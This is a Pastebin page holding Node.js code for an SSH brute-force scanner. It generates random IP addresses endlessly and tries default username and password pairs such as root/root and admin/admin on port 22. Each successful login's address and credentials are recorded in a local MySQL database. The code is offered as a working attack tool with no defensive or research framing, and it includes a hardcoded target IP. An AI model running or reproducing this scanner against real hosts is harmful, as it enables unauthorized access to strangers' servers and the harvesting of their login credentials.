Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const Client = require('ssh2').Client;
- const mysql = require('mysql');
- let foundCounter = 0;
- function tryConnect(config) {
- const conn = new Client();
- conn.on('error', (err) => {
- conn.end();
- })
- conn.on('ready', () => {
- foundCounter++
- console.log(foundCounter);
- config.mysqlConnection.connect();
- config.mysqlConnection.query(`INSERT INTO servers (adress, userName, password) VALUES ('${config.ipAdress}', '${config.username}', '${config.password}')`, (error, results, fields) => {
- if (!error) console.log('inserted!');
- else console.log('Failed inserting!', error);
- })
- config.mysqlConnection.end();
- conn.end();
- /*conn.exec('uptime', (err, stream) => {
- if (err) throw err;
- stream.on('close', (code, signal) => {
- //console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
- conn.end();
- }).on('data', (data) => {
- //console.log('STDOUT: ' + data);
- }).stderr.on('data', (data) => {
- //console.log('STDERR: ' + data);
- });
- });*/
- })
- .connect({
- host: config.ipAdress,
- port: 22,
- username: config.username,
- password: config.password
- })
- }
- function createRandomIp() {
- let ipArr = [];
- for (let i = 0; i < 4; i++) {
- ipArr.push(Math.floor((Math.random() * 255)));
- }
- return ipArr.join('.');
- }
- let count = 0;
- function main() {
- const connection = mysql.createConnection({
- host: 'localhost',
- user: 'root',
- password: 'root',
- database: 'ssh-testing'
- });
- const ipTest = '173.249.49.210';
- const settings = {
- userNames: ['root', 'admin', 'administrator'],
- passwords: ['root', 'admin', 'administrator']
- };
- while (true) {
- count++;
- if (count % 100000 === 0) console.log(count);
- const ipAdress = createRandomIp();
- settings.userNames.forEach(username => {
- settings.passwords.forEach(password => {
- tryConnect({
- ipAdress: ipAdress,
- username: username,
- password: password,
- mysqlConnection: connection
- });
- })
- })
- }
- }
- main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement